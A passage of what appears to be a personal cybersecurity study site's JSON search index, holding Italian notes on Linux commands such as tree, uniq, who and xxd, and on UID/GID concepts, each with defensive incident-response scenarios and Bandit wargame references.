[opzioni] [directory]\nComandi essenziali (Metadati \u0026amp; Identità) # Comando Flag Significato flag Cosa fa tree -i -i Inode Stampa il numero di Inode di ogni file e directory. tree -p -p Permissions Mostra la stringa dei permessi (es. [drwxr-xr-x]). tree -u -u User Visualizza il nome (o UID) dell'utente proprietario. tree -g -g Group Visualizza il nome (o GID) del gruppo proprietario. tree -h -h Human Mostra le dimensioni dei file in formato leggibile (K, M, G). tree -a -a All Include nella visualizzazione anche i file e le cartelle nascoste. tree -L 2 -L Level Limita la profondità della visualizzazione ai livelli indicati. Opzioni \u0026quot;Ninja\u0026quot; (Filtri \u0026amp; Formati) # Flag Nome Esteso Effetto Pratico -I 'pattern' Ignore Esclude file/cartelle che corrispondono al pattern (es. -I 'node_modules'). --du Disk Usage Mostra la dimensione accumulata di ogni cartella (somma dei contenuti). --sort=size Sort Ordina l'output in base alla dimensione, data o nome. -J JSON Esporta l'intera struttura in formato JSON per integrazioni AI o script. -o file.txt Output Salva il risultato direttamente in un file invece di stamparlo a video. Rappresentazione Visiva (Esempio) # . └── [drwxrwxr-x barno ] Cyber └── [drwxrwxr-x barno ] Bandit ├── [1573299 -rw-rw-r-- barno ] bandit-11.md └── [1573305 -rw-rw-r-- barno ] bandit-12.md ^ ^ ^ Inode Permessi Owner Combinazioni Utili # # Analisi di sicurezza: Inode, permessi e proprietari, ignorando le cartelle git tree -aipug -I \u0026#39;.git\u0026#39; -L 2 # Report di occupazione disco: cartelle pesanti in formato leggibile tree --du -h -d Scenario Reale # In un'analisi forense post-compromissione, un analista SOC usa tree -aipug per mappare una directory sospetta. Questo permette di individuare immediatamente file nascosti con permessi anomali (es. SUID) o file con lo stesso Inode in posizioni diverse, segnalando la presenza di Hard Link creati dall'attaccante per mantenere la persistenza.\nDove l'ho usato # bandit-05 — Per navigare nella complessa gerarchia di sottocartelle del livello. Collegato a # file — categoria system — categoria iam — per la gestione di proprietari e permessi inode-anatomy — per l'identificazione univoca dei file tramite flag -i. ls — alternativa non ricorsiva per la visualizzazione file. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/tree/","section":"Comandi","summary":"Visualizza ricorsivamente il contenuto di una directory in un formato grafico ad albero, arricchendo la vista con metadati del filesystem come Inode, proprietari e permessi. tree (1) - elenca il contenuto delle directory in un formato ad albero colorato.","title":"Tree","type":"comandi"},{"content":" Cosa fa # Identifica la natura di un comando (se è un eseguibile, un comando interno della shell o un alias). type (1) - indica come viene interpretato un nome di comando.\nSintassi # type [nome_comando]\nComandi essenziali # Comando Flag Significato flag Cosa fa type cd — — Mostra che cd è un comando integrato (builtin). type -a ls -a All Elenca tutte le occorrenze di ls nel sistema. Collegato a # system — categoria which — per trovare file eseguibili ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/type/","section":"Comandi","summary":"Identifica la natura di un comando (se è un eseguibile, un comando interno della shell o un alias). type (1) - indica come viene interpretato un nome di comando.","title":"Type","type":"comandi"},{"content":" Cos'è # UID (User ID) e GID (Group ID) sono identificativi numerici che il Kernel Linux utilizza per identificare utenti e gruppi e applicare le policy di controllo accessi (Permissions). In un sistema Linux, poiché \u0026quot;tutto è un file\u0026quot;, il sistema ha bisogno di un modo univoco per stabilire chi possiede cosa e quali permessi ha. UID e GID sono le \u0026quot;carte d'identità\u0026quot; digitali che il Kernel utilizza per gestire questa sicurezza.\nSei solo un numero In Linux, i nomi sono solo \u0026quot;etichette di cortesia\u0026quot; per noi umani; per il kernel, tu sei solo un numero.\nCome funziona # Il Kernel non riconosce i nomi (stringhe); ogni processo e ogni file è associato a un ID numerico.\n[ PROCESSO ] ◀──── Verifica ────▶ [ FILE ] (Eseguito da) (Proprietà) UID: 1000 UID: 1000 (Owner) GID: 1000 GID: 1000 (Group) PERMESSI: rwx r-- --- 🆔 UID (User Identifier) # L'UID è un numero intero univoco assegnato a ogni utente nel sistema. Anche se noi usiamo nomi come barno o root, il Kernel ragiona solo per numeri.\nRoot (UID 0): È l'utente onnipotente. Qualsiasi processo con UID 0 scavalca ogni controllo di permesso. System Users (1-999): Creati dal sistema per gestire servizi specifici (es. bin, sys, systemd) senza dare loro pieni privilegi. Normal Users (1000+): Il primo utente umano creato (come te) riceve solitamente l'UID 1000. 👥 GID (Group Identifier) # Il GID è l'identificativo numerico di un gruppo. Viene utilizzato per applicare permessi a un insieme di utenti contemporaneamente.\nPrimary GID: Ogni utente ha un gruppo primario (spesso con lo stesso nome e ID dell'utente) che viene assegnato automaticamente a ogni nuovo file creato da quell'utente. Supplementary GIDs: Un utente può far parte di altri gruppi (es. sudo, docker) per ereditare permessi extra. Perché è importante per Blue Team # Privilege Escalation: Molti exploit mirano a cambiare l'UID del processo corrente a 0. Identity Spoofing: Se un attaccante riesce a creare un utente con lo stesso UID di un admin in un sistema NFS o file system remoto, otterrà i suoi permessi. Audit: I log di sistema (auditd) registrano spesso l'UID invece del nome utente; conoscere la mappatura è vitale per ricostruire un incidente. Scenario Reale # Trovi un file sospetto con proprietario UID 1005, ma non esiste un utente con quel nome nel file /etc/passwd. Questo indica che l'utente è stato rimosso, ma i suoi file (\u0026quot;Orphaned files\u0026quot;) sono rimasti sul disco, rappresentando un potenziale rischio se un nuovo utente venisse creato con lo stesso UID.\nCollegato a # system — categoria linux-groups — concetto correlato permissions — come vengono usati UID/GID per i permessi ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/uid-gid-identifiers/","section":"Concetti","summary":"UID (User ID) e GID (Group ID) sono identificativi numerici che il Kernel Linux utilizza per identificare utenti e gruppi e applicare le policy di controllo accessi (Permissions). In un sistema Linux, poiché 'tutto è un file', il sistema ha bisogno di un modo univoco per stabilire chi possiede cosa e quali permessi ha. UID e GID sono le 'carte d'identità' digitali che il Kernel utilizza per gestir","title":"Uid Gid Identifiers","type":"concetti"},{"content":" Cosa fa # Rileva e rimuove le righe duplicate adiacenti da un file o dall'input.\nSintassi # uniq [opzioni] [input]\nComandi essenziali # Comando Flag Cosa fa uniq -c -c Conta quante volte appare ogni riga. uniq -d -d Stampa solo le righe duplicate. uniq -u -u Stampa solo le righe che non hanno duplicati. Nota Importante: La \u0026quot;Pigrizia\u0026quot; di Uniq # uniq confronta solo righe adiacenti. Se il file non è ordinato, non troverà i duplicati sparsi. Per questo si usa quasi sempre dopo sort.\n# Esempio corretto sort file.txt | uniq -u Scenario Reale # Identificare un \u0026quot;attacco lento\u0026quot;: cercare nei log l'unico utente che ha effettuato un solo accesso fallito in mezzo a migliaia di tentativi ripetuti.\nCollegato a # system — categoria sort — fondamentale per il corretto funzionamento bandit-08 — fondamentale per risolvere il livello ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/uniq/","section":"Comandi","summary":"Rileva e rimuove le righe duplicate adiacenti da un file o dall'input.","title":"Uniq","type":"comandi"},{"content":" Cosa fa # Conta il numero di righe, parole e byte contenuti in un file o ricevuti tramite pipe. wc (1) - stampa il conteggio di righe, parole e byte per ogni file.\nComandi essenziali # Comando Flag Significato flag Cosa fa wc -l -l Lines Conta solo le righe (molto usato in pipe). wc -w -w Words Conta solo le parole. wc -c -c Bytes/Chars Conta i byte o i caratteri. Collegato a # system — categoria file — categoria ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/wc/","section":"Comandi","summary":"Conta il numero di righe, parole e byte contenuti in un file o ricevuti tramite pipe. wc (1) - stampa il conteggio di righe, parole e byte per ogni file.","title":"wc - conta righe, parole e caratteri","type":"comandi"},{"content":" Cosa fa # Mostra una descrizione sintetica (una riga) di ciò che fa un determinato comando. whatis (1) - visualizza descrizioni di una riga delle pagine di manuale.\nSintassi # whatis [nome_comando]\nCollegato a # apropos — ricerca per parole chiave system — categoria ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/whatis/","section":"Comandi","summary":"Mostra una descrizione sintetica (una riga) di ciò che fa un determinato comando. whatis (1) - visualizza descrizioni di una riga delle pagine di manuale.","title":"Whatis","type":"comandi"},{"content":" Cosa fa # Localizza il percorso esatto del file binario che verrebbe eseguito lanciando il comando indicato. which (1) - localizza un comando.\nSintassi # which [nome_comando]\nCollegato a # system — categoria type — which vede solo i file, type vede tutto. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/which/","section":"Comandi","summary":"Localizza il percorso esatto del file binario che verrebbe eseguito lanciando il comando indicato. which (1) - localizza un comando.","title":"Which","type":"comandi"},{"content":" Cosa fa # Mostra gli utenti attualmente loggati nel sistema. È uno strumento di monitoraggio immediato per identificare sessioni attive, terminali utilizzati e orari di accesso.\nSintassi # who [opzioni]\nComandi essenziali # Comando Cosa fa Note Blue Team who Lista utenti, terminale e data di login. Panoramica rapida delle sessioni. who -a Mostra tutte le informazioni (all). Include boot time e processi idle. who -H Aggiunge l'intestazione alle colonne. Rende l'output più leggibile. who -b Mostra l'ora dell'ultimo boot. Utile per verificare riavvii sospetti. who -q Conta solo il numero di utenti loggati. Metrica rapida per script di monitoraggio. TTY vs PTS: Capire la sorgente dell'accesso # In un contesto di sicurezza, distinguere il tipo di terminale è critico per capire da dove sta operando un utente.\nSORGENTE ACCESSO TIPO TERMINALE DESCRIZIONE ┌──────────────┐ ┌───────────┐ ┌──────────────────────────────────┐ │ Fisica (UTM) │ ───► │ tty │ ───► │ Teletype: Accesso alla console │ │ │ │ │ │ fisica o virtualizzata. │ └──────────────┘ └───────────┘ └──────────────────────────────────┘ ┌──────────────┐ ┌───────────┐ ┌──────────────────────────────────┐ │ Remota (SSH) │ ───► │ pts │ ───► │ Pseudo Terminal Slave: Sessione │ │ │ │ │ │ via rete o tramite emulatore GUI.│ └──────────────┘ └───────────┘ └──────────────────────────────────┘ Scenario Reale (Incident Response) # Stai analizzando un server e noti un utente guest loggato su pts/0. Sai che quel server non dovrebbe avere accessi remoti in quel momento. Eseguendo who -am, verifichi l'indirizzo IP di provenienza e l'ora esatta del login, permettendoti di isolare la sessione e iniziare l'investigazione sul possibile account compromesso.\nDove l'ho usato # progetto-lab-vm — Per verificare che la sessione SSH dal Mac fosse registrata correttamente come pts e distinguere l'accesso dalla finestra di UTM (tty). Note personali # Analyst Tip: Se vedi molti terminali pts aperti dallo stesso utente in orari diversi, potrebbe trattarsi di sessioni SSH \u0026quot;appese\u0026quot; o dimenticate. In ottica security, è buona norma terminare le sessioni inattive per ridurre la superficie di attacco. Se vuoi sapere chi sei tu in questo momento, usa il comando whoami.\nCollegato a # system — categoria (Hub)\nssh — la causa più comune di sessioni pts.\nw — comando correlato che mostra anche cosa stanno facendo gli utenti.\nlast — per vedere lo storico degli accessi passati.\n","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/who/","section":"Comandi","summary":"Mostra gli utenti attualmente loggati nel sistema. È uno strumento di monitoraggio immediato per identificare sessioni attive, terminali utilizzati e orari di accesso.","title":"Who","type":"comandi"},{"content":" Cosa fa # Utility che genera hexdump o effettua l'operazione inversa (Hex-to-Binary). Il nome sta per hex dump.\nSintassi # xxd [opzioni] [file_input] [file_output]\nComandi essenziali # Comando Flag Cosa fa xxd file — Crea una rappresentazione esadecimale leggibile del file. xxd -r file -r (revert) Converte un hexdump di testo in un file binario. xxd -p file -p (plain) Output solo esadecimale, senza offset o ASCII (stile dump continuo). Combinazioni utili # # Trasforma un file binario in hex e lo riporta subito indietro cat file.bin | xxd | xxd -r \u0026gt; file_copia.bin Scenario Reale # Usato dai ricercatori di sicurezza per modificare byte specifici di un file binario senza un editor esadecimale grafico, o per inviare file binari attraverso canali di comunicazione che supportano solo testo semplice.\nDove l'ho usato # bandit-12 — per convertire il dump testuale di Bandit in un file binario manipolabile. Collegato a # file — categoria incidents — categoria strings — xxd mostra i byte, strings cerca il testo ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/xxd/","section":"Comandi","summary":"Utility che genera hexdump o effettua l'operazione inversa (Hex-to-Binary). Il nome sta per hex dump.","title":"Xxd","type":"comandi"},{"content":" ","externalUrl":null,"permalink":"/graph/","section":"","summary":" ","title":"Graph","type":"page"},{"content":"","externalUrl":null,"permalink":"/security-plus/","section":"Security-Plus","summary":"","title":"Security-Plus","type":"security-plus"},{"content":" ","externalUrl":null,"permalink":"/tree/","section":"","summary":" ","title":"Vault","type":"page"}]